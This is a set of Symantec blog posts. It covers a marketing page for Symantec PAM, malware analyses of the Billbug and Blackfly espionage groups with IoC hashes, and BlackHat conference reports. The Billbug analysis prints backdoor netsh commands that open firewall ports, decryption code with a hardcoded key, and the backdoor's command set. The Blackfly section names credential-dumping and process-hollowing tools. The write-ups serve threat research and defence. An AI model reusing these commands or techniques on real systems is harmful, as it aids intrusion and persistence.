One of the fundamental issues with privileged accounts is that users are given elevated access to sensitive apps, infrastructure, and data with no accountability. Even worse, understanding what the privileged user did, either accidentally or maliciously, to repair the damages can takes days or weeks of investigation.
Symantec PAM enables full attribution for shared account activities. The solution separates user authentication from shared account access, enabling the ability to link session-based clicks, commands, and entries to the individual user who “checked out” the credential. This audit data is stored in an encrypted, tamper-proof vault, where you can view it with internal tools or export it. The solution can also capture a video recording of all privileged user activity to improve accountability and provide forensic evidence of malicious activity.
Mitigation through Risk & Behavioral Analytics
Organizations often lack visibility into how privileged credentials and accounts are being used every day, so they cannot detect anomalies in user behaviors. That situation, combined with the expanded access granted to users, gives both external hackers and malicious insiders more pathways through which to exploit potential vulnerabilities.
Symantec PAM supports User and Entity Behavior Analytics (UEBA) through an option module called Threat Analytics. This tool continuously monitors all privileged user activity and compares current activities against historical data to detect changes in behavior. When detected, advanced algorithms can assess the risks associated with these activities, and if needed, trigger automated mitigation actions to address the risk.
Prevention through Granular Access Controls
As was learned from the recent Solar Winds attack, determined hackers will find sophisticated ways to penetrate your defenses, gain access to your network, and compromise a privileged credential. In fact, this is the third principle of Zero Trust: assume breach. The question is, how do you minimize the damages a hacker can do once they are inside?
Symantec PAM provides highly granular and role-based access controls for physical, virtual, and cloud resources using an agent-based approach that can help prevent or minimize damages of an actual breach. Unauthorized commands are blocked and logged, and the security team can be notified about policy violations. Socket filtering detects leapfrog attempts, regardless of the command used, and blocks attempts to create an outbound socket or connection. Symantec PAM provides centralized Separation of Duties (SoD) policy store to ensure that administrators have only the privileges they need, even when users are accessing the same “root” or “system admin” account.
Symantec PAM provides highly granular and role-based access controls for physical, virtual, and cloud resources using an agent-based approach that can help prevent or minimize damages of an actual breach.
It should be noted that this level of control is not needed for every element of your infrastructure. For example, two critical aspects in a Zero Trust Architecture are the Policy Decision and Policy Enforcement Points, both of which are the focal areas for an attacker once they have gained access to an environment. These systems must be safeguarded with the most stringent application of a layered defense model, which should include the implementation of fine-grained access control for privileged users and accounts.
Secure your DevOps through Secrets Management
Software is the key driver of growth, innovation, efficiency and productivity, and DevOps pipelines are at the heart of many digital transformations, but simple continuous delivery is not enough anymore. You need both intelligent and secure pipelines to help you release higher quality software at greater velocity and reduced risk. Although privileged access is more commonly associated with people, the reality is that numerous applications have privileged access to sensitive resources, and in many cases, this access is granted via hard-coded administrative credentials that are ripe for theft and misuse, often with little to no security protecting them at all.
Symantec PAM eliminates hard-coded, hard-to-change passwords from applications and scripts through secrets management, providing effective protection and management of these so–called “keys to the kingdom”. Application–to–application passwords and other credentials are stored in an encrypted vault, and requesting applications must authenticate to the solution before these credentials are released. Additionally, Symantec PAM further enables enterprises to automate the creation and provisioning of new devices within the solution via REST APIs, which ensures that each new server, container, and environment has its privileged credentials and accounts protected as soon as it is created by the DevOps tool chain.
Protect your Hybrid Environments
As your IT environment has expanded outside your four walls to incorporate public cloud resources and software-as-a-service (SaaS) applications, the traditional way of approaching administration and operations has also quickly fallen apart—mainly because it fails to protect new attack surfaces like management consoles and APIs.
Symantec PAM is designed to prevent security breaches across virtual, cloud, and physical environments by protecting sensitive administrative credentials, controlling privileged user access, proactively enforcing security policies, and monitoring and recording privileged user activity. It can not only discover, protect, and provide granular separation of duties for cloud consoles and APIs and virtual resources, but it can also secure privileged access on your legacy mainframe environment and mission-critical servers.
Least Privileged Access through Identity Governance
The second principle of Zero Trust is to ensure least privileged access. In fact, organizations are subject to an ever-expanding list of data security regulations and standards that mandate increased auditing and control over users with privileged access. Compliance with these regulations and audits generally focus on two points:
Control the access of privileged users to critical resources and the actions that they can perform on those resources.
Govern the access of privileged users on an ongoing basis to make sure that they have only the level of access that they absolutely need (i.e., least privileged access).
PAM technologies addresses the first point; and identity management technologies addresses the second point, and when you integrate the two, this yields privileged access governance. Privileged access governance ensures that all user access to privileged accounts and credentials is required and appropriate through automatic provisioning and de-provisioning of these access entitlements and streamlined process to periodically review and certify that access to privileged accounts is still necessary. Privileged access governance significantly improves your security posture and helps address compliance. When auditors ask you for proof, you will have it.
Summary
Symantec PAM provides holistic privileged access security for improved flexibility with a single admin console for ease of use. Delivered as a software- or hardware-based appliance, it can be deployed in minutes and scales with minimal infrastructure requirements to yield a low total cost of ownership.
Figure. Symantec PAM Critical Capabilities and Complementary Solutions.
Symantec PAM offers greater defense-in-depth because it is part of our larger security portfolio, which includes Symantec VIP for multifactor authentication and Symantec IGA for privileged access governance.
Webinar - What's New in Symantec PAM 4.0?
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Billbug: State-sponsored Actor Targets Cert Authority, Government Agencies in Multiple Asian Countries
Campaign has been ongoing for at least the last six months.
State-sponsored actors compromised a digital certificate authority in an Asian country during a campaign in which multiple government agencies were also targeted.
Symantec, by Broadcom Software, was able to link this activity to a group we track as Billbug due to the use in this campaign of tools previously attributed to this group. Billbug (aka Lotus Blossom, Thrip) is a long-established advanced persistent threat (APT) group that is believed to have been active since at least 2009. Symantec has previously published on this group’s activity in 2018 and 2019 under the Thrip name, but following our 2019 investigation, we determined that Thrip and Billbug were most likely the same group so now track all activity under the Billbug name.
In activity documented by Symantec in 2019, we detailed how the group was using a backdoor known as Hannotog (Backdoor.Hannotog) and another backdoor known as Sagerunex (Backdoor.Sagerunex). Both these tools were also seen in this more recent activity.
The victims in this campaign included a certificate authority, as well as government and defense agencies. All the victims were based in various countries in Asia. Billbug is known to focus on targets in Asian countries. In at least one of the government victims, a large number of machines on the network were compromised by the attackers.
The targeting of a certificate authority is notable, as if the attackers were able to successfully compromise it to access certificates they could potentially use them to sign malware with a valid certificate, and help it avoid detection on victim machines. It could also potentially use compromised certificates to intercept HTTPS traffic. However, although this is a possible motivation for targeting a certificate authority, Symantec has seen no evidence to suggest they were successful in compromising digital certificates. Symantec has notified the cert authority in question to inform them of this activity.
This activity has been ongoing since at least March 2022.
Attack chain
There are some indications that the attackers are exploiting public-facing applications to gain initial access to victim networks.
The attackers use multiple dual-use tools in this attack campaign, as well as custom malware. Billbug’s extensive use of dual-use and living-off-the-land tools was also notable in its previous campaigns. Among the dual-use tools leveraged in this recent activity are:
AdFind – A publicly available tool that is used to query Active Directory. It has legitimate uses but is widely used by attackers to help map a network.
Winmail – Can open winmail.dat files.
WinRAR – An archive manager that can be used to archive or zip files - for example, prior to exfiltration.
Ping – A tool that is freely available online that can allow users to determine if a specific location on a network is responding.
Tracert – A network tool that can be used to determine the “path” packets take from one IP address to another. It provides the hostname, IP address, and the response time to a ping.
Route – A path for sending packets through the internet network to an address on another network.
NBTscan – Open-source command-line NetBIOS scanner.
Certutil – Microsoft Windows utility that can be used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates.
Port Scanner – Allows an attacker to determine what ports are open on a network and could potentially be used to send and receive data.
Multiple files that are believed to be loaders for the Hannotog backdoor were spotted on victim machines. A backdoor was then deployed on the compromised system. This backdoor has multiple functionalities:
It executes netsh to update the firewall settings:
netsh advfirewall firewall add rule name="Core Networking - Router Solicitation (ICMP-In)" dir=in action=allow program="%s" enable=yes
netsh firewall add portopening UDP 5900 @xpsp2res.dll,-22006 ENABLE ALL',0
netsh firewall add allowedprogram name="SNMP Trap Service" program="%s" mode=enable
Listens on port 5900
Can create a service for persistence
Can also stop services
Can upload encrypted data
Can execute cmd.exe /c %s command to gather system information
Can download files to the machine
A tool called Stowaway Proxy Tool was also downloaded to victim machines. Stowaway is a multi-level proxy tool written in the Go language and intended for use by penetration testers. Users can use this program to proxy external traffic to the intranet through multiple nodes, break through intranet access restrictions, construct a tree-like node network, and easily implement management functions. It is not unusual to see penetration testing tools misused by threat actors. Cobalt Strike, which is a penetration testing framework, is considered commodity malware by many due to how often it is used by malicious actors.
Sagerunex - Technical details
The Sagerunex backdoor is fairly resilient and implements multiple forms of communication with its command-and-control (C&C) server. The analyzed sample had no hardcoded configuration, so it had to be dropped on the machine by a loader malware, such as Hannotog.
In the sample analyzed by Symantec, configuration is passed to the sample via a parameter of the exported function (called MainEntry). That configuration is decrypted with a simple XOR operation:
def simplecrypt(x):
return xor(x, b"\xad" + x[:-1])
Next, the sample finds the explorer.exe process and uses it to change the token of the current thread. It then writes logs to a temporary file (%TEMP%/TS_FB56.tmp), but only if the file already exists. These logs are encrypted and the encryption algorithm used is AES256-CBC with 8192 rounds of SHA256:
def decrypt(datasample):
key = b'\x53\x12\x76\x23\x94\x89\x78\x45\x58\x31\x62\x83\x77\x95\x59\x17\x31\x47\x73\x50\x22\x34\x65\x89\x49\x12\x67\x41\x90\x35\x91\x37'
realkey = datasample[:0x10]+ b'\x00' * 0x10
for i in range(0x2000):
realkey = hashlib.sha256(realkey + key).digest()
raw = aes.cbc.decrypt(realkey, datasample[:16], datasample[16:])
print("checksum", raw[-32:].hex())
return raw[:-32]
The encryption key is hardcoded, and was previously used in an older sample of this malware. The same encryption algorithm is used for network communication. The encrypted data structure is as follows:
struct encrypted_data {
byte[16] IV;
byte[N] message_data; // always divisible by 16, padding added as necessary
byte[32] sha256_checksum;
}
The sample stores configuration and state in the following file:
%appdata%/microsoft/protect/windows/DMI%X.DAT (where %X is variable and depends on the parameter with which sample was started).
It is also encrypted, but with RC4. This key was hardcoded in older versions of Sagerunex, but recent samples started to read the key from configuration instead. The config file modification date will always be in the year 2011 – the “file last edit” year is changed by the malware to 2011.
Network communication
In normal mode, the sample will try all the following supported connection modes in this order. In all cases, HTTPS is used, with user agent equal to: Mozilla/5.0 (compatible; MSIE 7.0; Win32).
- 1: httpsviaconfigproxy: HTTPS with configured proxy
- 2: httpswpadproxy: instead of using configured proxy, use proxy provided by WPAD mechanism (web proxy autodiscovery)
- 3: httpsviaiexproxy: self-explanatory. Use proxy from \\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer
- 4: httpsviafirefoxproxy - get proxy from \\Mozilla\\Firefox\\profiles.ini (one of FF config files)
- 5: httpsviaautoproxy - use proxy obtained from WinHttpGetIEProxyConfigForCurrentUser
- 6: httpspreconfig - try to connect without proxy
The network packet is composed of two parts: the header and the payload. Both are encrypted separately.
struct network_packet {
byte[64] encrypted_header; // see encrypted_data above
byte[N] encrypted_payload; // see encrypted_data above
}
The structure of the decrypted header is as follows:
struct header {
int32 command_id;
int16 packet_length;
int32 packet_crc32;
}
The structure of the decrypted payload mostly depends on the command ID. The list of supported commands includes:
7: Return the list of currently configured proxies.
9: Execute a program, DLL or shell command. There are three supported subcommands: "runexe" to run an executable, "rundll" to run a DLL file, and anything else for arbitrary shell command.
11: Steal a local file (gets a file name specified in the command payload).
15: Get a configured file path (configured by command 18).
17: Drop a file to a specified path – but only if the specified path was previously selected by command 18.
18: Select a file path for commands 15 and 17.
Motivation
While we do not see data being exfiltrated in this campaign, Billbug is widely regarded as being an espionage actor, indicating that data theft is the most likely motivation in this campaign. The victims in this campaign – government agencies and a certificate authority – also point to an espionage and data-theft motive. The targeting of the government victims is most likely driven by espionage motivations, with the certificate authority likely targeted in order to steal legitimate digital certificates, as mentioned in the introduction.
This is potentially very dangerous, as if Billbug is able to sign its malware with a valid digital certificate it may be able to bypass security detections on victim machines. The ability of this actor to compromise multiple victims at once indicates that this threat group remains a skilled and well-resourced operator that is capable of carrying out sustained and wide-ranging campaigns. Billbug also appears to be undeterred by the possibility of having this activity attributed to it, with it reusing tools that have been linked to the group in the past.
Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
072022b54085690001ff9ec546051b2f60564ffbf5b917ac1f5a0e3abe7254a5
0cc6285d4bfcb5de4ebe58a7eab9b8d25dfcfeb12676b0c084e8705e69f6f281
148145b9a2e3f3abdc6c2d3de340eabc82457be67fb44cfa400a5e7bd2f88760
2a4302e61015fdf5f65fbd456249bafe96455cd5cc8aefe075782365b9ae3076
3585a5cbbf1b8b3206d7280355194d5442ed997f61e061fd6938a93163c79507
37fe8efe828893042e4f1db7386d20fec55518a3587643f54d4c3ec82c35df6d
3c35514b27c57a46a5593dbbbfceddbc49979b20fddc14b68bf4f0ee965a7c59
3dd7b684024941d5ab26df6730d23087037535783e342ee98a3934cccddb8c3e
64c546439b6b2d930f5aced409844535cf13f5c6d24e0870ba9bc0cf354d8c11
79f9f25b15e88c47ce035f15dd88f18ecc11e1319ff6f88568fdd0d327ad7cc1
7fe67567a5de33166168357d663b85bd452d64a4340bdad29fe71588ad95bf6f
80a8a9a2e91ead0ae5884e823dca73ef9fce59ff96111c632902d6c04401a4fe
861d1307913d1c2dbf9c6db246f896c0238837c47e1e1132a44ece5498206ec2
8f7c74a9e1d04ff116e785f3234f80119d68ae0334fb6a5498f6d40eee189cf7
a462085549f9a1fdeff81ea8190a1f89351a83cf8f6d01ecb5f238541785d4b3
adb61560363fcda109ea077a6aaf66da530fcbbb5dbde9c5923a59385021a498
bcc99bc9c02e1e2068188e63bc1d7ebe308d0d12ce53632baa31ce992f06c34a
b631abbfbbc38dac7c59f2b0dd55623b5caa1eaead2fa62dc7e4f01b30184308
c4a7a9ff4380f6b4730e3126fdaf450c624c0b7f5e9158063a92529fa133eaf2
e4a460db653c8df4223ec466a0237943be5de0da92b04a3bf76053fa1401b19e
f7ea532becda13a1dcef37b4a7ca140c56796d1868867e82500e672a68d029e4
f969578a0e7fe90041d2275d59532f46dee63c6c193f723a13f4ded9d1525c6b
fea2f48f4471af9014f92026f3c1b203825bb95590e2a0985a3b57d6b598c3ff
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Blackfly: Espionage Group Targets Materials Technology
Group targets multiple subsidiaries of single Asian conglomerate.
The Blackfly espionage group (aka APT41, Winnti Group, Bronze Atlas) has continued to mount attacks against targets in Asia and recently targeted two subsidiaries of an Asian conglomerate, both of which operate in the materials and composites sector, suggesting that the group may be attempting to steal intellectual property.
Current Blackfly toolset
The following tools were used in attacks during late 2022 and early 2023:
Backdoor.Winnkit
SHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459
SHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a
SHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596
SHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac
SHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196
SHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284
Rootkit driver known to be associated with Blackfly
Credential-dumping tool
SHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c
Creates a dump of credentials from lsass.exe in C:\windows\temp\1.bin.
Screenshotting tool
SHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4
Screenshots all open windows and saves them as .jpg files.
Process-hollowing tool
SHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e
Injects shellcode in C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple "Hello World" alert message.
SQL tool
SHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d
SQL client tool used to query SQL databases.
Mimikatz
SHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c
Publicly available credential-dumping tool.
ForkPlayground
SHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864
Proof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.
Proxy configuration tool
SHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f
SHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee
SHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f
Configures proxy settings by injecting into: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted.
Proxy configuration tool
SHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4
SHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1
This tool requires a file called conf.dat to run properly, located at: c:\users\public\conf.dat. Conf.dat contains the configuration to set up proxy settings.
Longstanding APT group
Blackfly is one of the longest known Chinese advanced persistent threat (APT) groups, active since at least 2010. Early attacks were distinguished by the use of the PlugX/Fast (Backdoor.Korplug), Winnti/Pasteboy (Backdoor.Winnti), and Shadowpad (Backdoor.Shadowpad) malware families. The group initially made a name for itself through attacks on the computer gaming industry. It subsequently branched out into targeting a more diverse range of targets, including organizations in the semiconductor, telecoms, materials manufacturing, pharmaceutical, media and advertising, hospitality, natural resources, fintech, and food sectors.
Blackfly has been closely associated with a second Chinese APT group known as Grayfly, so much so that some vendors track the two groups as one actor: APT41. A 2020 indictment of seven men on charges relating to hundreds of cyber attacks carried out by both groups appeared to shed light on this link. Two Chinese nationals were alleged to have worked with both groups. A crossover in personnel may account for the similarities between both groups.
Undeterred
Despite being the subject of a U.S. indictment, Blackfly has continued to mount attacks, seemingly undeterred by the publicity afforded to the group. Although it originally made a name for itself by attacking the gaming sector, the group appears focused on targeting intellectual property in a variety of sectors at present.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a – Backdoor.Winnkit
e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 – Backdoor.Winnkit
a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac – Backdoor.Winnkit
714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 – Backdoor.Winnkit
192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 – Backdoor.Winnkit
caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 – Backdoor.Winnkit
452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 – Screenshotting tool
1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e – Process-hollowing tool
4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d – SQL tool
560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a – DCSync
b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c – Mimikatz
a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 – ForkPlayground
5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f – Proxy configuration tool
d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee – Proxy configuration tool
f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f – Proxy configuration tool
88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 – Proxy configuration tool
498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 – Proxy configuration tool
100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c – Credential-dumping tool
Symantec Enterprise Blogs
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APT41: Indictments Put Chinese Espionage Group in the Spotlight
Seven men have been charged in the U.S. in relation to attacks by China-linked espionage operation which Symantec monitors as two distinct groups – Blackfly and Grayfly
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BlackHat 2018: Did Mayo Clinic Just Diagnose an Antidote to Phishing?
Testing a new way to promote behavioral changes to help employees better recognize phishing scams, the hospital reveals some surprising results
Organizations have tried nearly everything to get their employees to pay closer attention to the danger posed by phishing. The message is just not getting through.
In the latest edition of Symantec's Internet Security Threat Report, for instance, 71% of the targeted attacks detected last year were found to have used spear phishing to steal the targeted user's credentials.
In part, chalk it up to attackers who are increasingly sophisticated. In the past, it was easier to spot phishing emails given the prevalence of poorly designed emails and websites filled with typos and other grammatical errors. Unlike the average phisher a couple of decades ago, contemporary practitioners are well-schooled in social engineering and quite skilled at what they do.
And as the profile of a typical phisher has changed, it’s become increasingly harder to distinguish phishing sites apart from legitimate sites. The upshot: Too many victims get fooled into giving away their passwords, credit card numbers and other important information.
But the Mayo Clinic has been testing what it calls a “technology and human solution” designed to promote behavioral changes and help employees to better recognize phishing scams.
Three years ago, Mayo set up a continuing security awareness program and created what it describes as InfoSec Ambassadors. These are volunteers from within the organization charged with raising awareness and reminding employees of the role they play in keeping Mayo’s networks secure. At last count, Mayo had 289 active ambassadors, up from 144 when the program began in 2015.
Each ambassador is expected to make a one-year commitment and be ready to devote 2 to 3 hours to the task each month. Mayo also updates employees about current infosecurity news with a monthly newsletter targeted at a more general audience that may not be intimately familiar with the ins and outs of cyber security.
“When you’re working in a hospital, your first thought is to treat the patient and it may not be security. But when you explain that security is part of the whole patient strategy, they get it,” said Kingkane Malmquist, an information security analyst from Mayo.
At the same time, Mayo has been carrying out simulated phishing campaigns to test employee responses. The early batch of findings, which were revealed this week at the BlackHat conference, offer encouraging evidence that change is possible as increasing percentages of employees recognized phishing attempts:
2015:
6 Campaigns
63,831 Total Average Emails Sent
32.9% Reported Phish
2016:
8 Campaigns
66,010 Total Average Emails Sent
44.4% Reported Phish
2017:
5 Campaigns
66,882 Total Average Emails Sent
52.1% Reported Phish
Visit Symantec at BlackHat:
See our cryptojacking simulation and visit us at booth #912 at Black Hat where you can view the simulation during Business Hall hours (10 a.m. – 7 p.m. PT on Wednesday, August 8 and 10 a.m. – 5 p.m. PT on Thursday, August 9).
Health-related data, which includes not just patient data but also financial data, clinical research and intellectual property, remains a particularly appealing target for malicious actors. In the last few years, cyber attackers have repeatedly used phishing scams to gain control of hospital networks – in some cases shutting down hospitals and impacting care delivery until they receive ransom payments.
So, any movement in the right direction would be welcome - especially at a health institution like Mayo, which employs more than 63,000 staff members, including 4,729 physicians and scientists.
“In the end, everyone has a role here in keeping Mayo Clinic safe,” Malmquist said. “When you provide people with the right motivation and you help raise their awareness, it's possible to create changes in behavior.”
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BlackHat 2018: More Industry Collaboration Vital in Cyber Crime Battle
As annual security confab gets underway, attendees hear clarion call for deeper industry-wide cooperation to strengthen security
Hunting down one cyber vulnerability only to find another new hole to patch, hard-pressed security practitioners might be excused for wondering whether they’ll ever shake free from playing an endless game of catch-up with attackers. But as the BlackHat USA 2018 security conference gets underway in Las Vegas this week, the executive who manages the information security team at Google said there’s new reason for optimism.
“We’ve made great strides in computer security in the last decade,” said Google’s Parisa Tabriz, who delivered the conference keynote presentation on Wednesday at the Mandalay Bay Events Center.
Tabriz, who also heads up Google’s Project Zero bug-hunting squad, also struck an optimistic chord about the general state of security that she said was improving. “I actually believe that security’s getting better,” she said.
In particular, Tabriz touted a 4-year effort involving a diverse coalition of people and organizations to nudge the computing world toward the HTTPS web protocol and have Chrome label non-HTTPS webpages as insecure. What’s more, Chrome’s connection indicators were confusing and there also was a need to raise awareness about the risk of unencrypted traffic.
Tabriz recounted the collaborative efforts necessary to pull this off.
“We knew it would take years to get there,” she said, adding that success ultimately depended upon forging a collective industry-wide effort.
The web wasn’t owned by a single entity and she said the development platform would have to be defined by standards groups consisting of individuals representing different organizations and interests from around the world. As part of the initiative, Tabriz said that Google had partnered with Mozilla to push for HTTPS adoption.
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See our cryptojacking simulation and visit us at booth #912 at Black Hat where you can view the simulation during Business Hall hours (10 a.m. – 7 p.m. PT on Wednesday, August 8 and 10 a.m. – 5 p.m. PT on Thursday, August 9).
Since the effort began, desktop HTTPS adoption has nearly doubled to 87% from 45% in 2015. Over the same time period, HTTPS use on Android mobile devices has soared to 77% from 29%.
“That’s major, major progress,” said Tabriz. As a result, she said that the web is more secure today because of what she described as a “loose coalition of people working in a complicated ecosystem.”
Tabriz pointed to the participatory spadework that went into the effort behind HTTPS, suggesting that it can serve as a blueprint for the future as she called for more cooperation within the industry to promote stronger cyber security.
“There’s so much more security collaboration we can do,” she said, explaining how collaboration can better tackle long-standing security challenges which otherwise can’t be handled by any single company on their own. “While we don’t always agree on tactics, we generally agree on working toward similar goals. I would love to see more ambitious collaboration. The effort is so worth it.”
That would also spell more relief for overburdened security teams scrambling to meet the escalating security demands that go along with the increasing digitization of their organizations.
“The world’s dependence on safe, reliable technologies is increasing and as things get more and more connected, we have to stop playing Whack-a-Mole,” said Tabriz.
She later urged the thousands of listeners in the audience who braved the city’s triple digit heat wave to adopt a more strategic approach to their work and focus on the root causes of insecurity. That involves setting goals and targets with buy-in from both management and staff.
“This room represents the world’s best experts in computer security and we know where the problems are,” she said. “We need to do more to solve them and it’s up to us.”
Speaking with reporters after the keynote, Tabriz allowed that “defense happens over the long arc,” making it more difficult to measure increments of progress.
“We don't have great objective ways to measure it and some metrics are bad. It takes a long time, positive signals are very rare, and I think that's why it's harder to celebrate and recognize and talk about defenders," she said. "But I think it's really important to do and I hope that we can take some attention because at the end of the day, that's what actually makes things better.”
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BlackHat 2019: An Urgent Call for “Public-Interest Technologists"
Harvard’s Bruce Schneier warns of dire consequences if security experts remain uninvolved with policy discussions much longer
If you had any lingering doubt that computer security and privacy are not public policy issues, just look at recent headlines with national politicians from both sides of the aisle calling for closer oversight of the technology industry.
With another national election looming – and no shortage of issues where technology and politics are increasingly linked –Washington and Silicon Valley still find themselves struggling to understand each other, according to noted technologist and Harvard Kennedy School Fellow, Bruce Schneier.
Schneier, who made his comments at the BlackHat 2019 conference, reached back six decades to quote the English novelist CP Snow who essentially described a fundamental misunderstanding between the scientific and human traditions in liberal societies as a kind of dialogue of the deaf with little understanding between them.
When Snow published his now-famous essay in 1959, Schneier said that wasn’t a major problem since, for the most part, technology and policy didn’t interact much with each other. “We had television and Tang,” he said.
Nowadays, though, computer security has become a public policy issue and he said that it’s no longer acceptable for technology and policy to be in different worlds.
“There’s a culture of technologists who build cool tools without regarding how they affect society and then there’s the world of policy…who will criticize technology without really understanding technology,” he said.
The reality is that technology now informs vital public policy issues ranging from election security to data privacy to critical infrastructure with little involvement of technologists in policy discussions.
“The internet is no longer a separate thing,” he said. “It’s part of everything.”
He described the widely-held belief within Silicon Valley that technology is politically neutral as “a perverse myth.”
“That’s not true,” he said. “Our work is deeply embedded in policy. All technology affects the world we live in.”
Warning of the consequences if the two sides drift ever farther apart, Schneier put out a call for the creation of what he described as “public-interest technologists.” These would be people from the technology industry who would be willing to work inside government, academia and NGOs in order to craft policy as well as bolster security to agencies and groups working in the broader public interest.
“Policy makers need to understand technology,” he said, adding that government discussions ought to be informed by the relevant technologies. “The reality is the opposite,” he said.
He drew an analogy with attorneys who specialize in public interest law, a branch of the legal profession that didn’t exist as late as the 1970s. But with the help of foundations willing to fund positions at organizations such as the NAACP or ACLU, interest in public law practice soared in subsequent years.
“20% of Harvard law grads go into public interest law,” Schneier said. “The number of
Harvard computer science grads going into public interest work is probably zero.
Not because they’re immoral but because the path probably doesn’t exist.”
The future is hurtling toward us with the emergence of new technologies like blockchain, the Internet of Things and 5G, he said, upping the pressure on legislators to formulate a new set of policy tools with the help of technologists.
“There’s a lot that technologists will have to say about how to save society in the next 80 years…because this is where the core issues of society will lie.”
“We have the expertise and it’s incumbent on us to help,” he added.
Symantec at Black Hat 2019
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BlackHat 2019: Don’t Assume that 5G Networks Can’t Get Hacked
While more secure than previous network architectures, there are still ways to exploit the system to launch attacks
The next few years will see a veritable explosion in the number of connected devices running on super-fast 5G networks. The promise: a vastly improved internet experience than previous generations. And 5G is going to be so locked down that you won’t ever have to give security a thought ever again.
And if you believe that last line, I’ve got a bridge in Brooklyn that I’d like to sell to you.
What’s beyond argument is the proposition that the 5G cellular standard represents a significant break from the past. Internet Protocol is at the center of the network architecture and the applications that run on 5G networks. And whereas earlier generations only performed tasks sequentially, 5G promises considerably higher speeds and little to no latency.
“We know the hype that 5G has today,” said Altaf Shaik, a researcher from the Technical University of Berlin as he addressed a packed ballroom at Black Hat 2019 in Las Vegas on Wednesday. “It’s even bigger than this room.”
5G is “basically for machine communications,” according to Shaik. “Not just phones, but cars and smart homes, different way stations…millions of devices will be scattered around us.”
But with an estimated 18 billion IoT devices expected to be in use worldwide by 2022, the reliability of our mobile networks will assume ever greater importance. Experts like Shaik have reason to be concerned about potential vulnerabilities cropping up; unlike earlier networks that relied on centralized hardware-based functions, 5G’s distributed software-based systems are also potentially more risky.
Compared to previous network generations, Shaik agreed that network security is turning out to be more efficient in 5G and is “definitely better” than in previous generations, particularly when it comes to things like privacy, encryption and authentication. “Security has changed a lot and we should expect that security should be lot stronger in 5G than in 2G,” he said.
Still, he cautioned that vulnerabilities affect both operator infrastructures as well as end-user devices connected to 5G. He demonstrated to attendees how hackers can exploit vulnerabilities just by using low-cost hardware and software platforms.
He set up fake base stations to launch attacks against dozens of devices to discover identifying information about them, including the kind of operating systems they ran. That raises a red flag: If you can find out information about the device and the OS, Shaik said, “you can plan a targeted attack.”
Shaik said he was able to hack into 5G systems and modify settings, changing radio capabilities, removing frequency bands and disabling voice over LTE. In one test, he recounted being able to reduce the connection speed on an iPhone 8.
Symantec at Black Hat 2019
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BlackHat 2019: Researchers Find Way to Fool Biometric Authentication
Xuanwu Lab uncovers techniques that can bypass “Liveness Detection” features in biometric-base defenses
When it comes to biometric authentication, might your face or finger also turn into your Achilles Heel?
It’s no longer a far-fetched idea. Computer scientists from China’s Tencent Security Xuanwu Lab have uncovered ways to fool the classic biometric authentication process into mistakenly approving access to devices by unauthorized users.
Biometric authentication is one of the fastest growing segments in the security industry. It uses facial recognition, fingerprint recognition, handwriting verification, hand geometry, retinal and iris scanner for user identification. It’s viewed as an improvement over two-factor authentication, which is vulnerable to attack through brute force, phishing or third-party login processes.
Along the way, computer scientists created a technique they refer to as “liveness detection,” which is essentially the act of differentiating a feature space into live and non-living. The algorithm factors in several combinations of physical human traits that collectively determine whether the individual present is alive, thus countering imposters who attempt to bypass defenses by introducing a large number of spoofed biometrics into system.
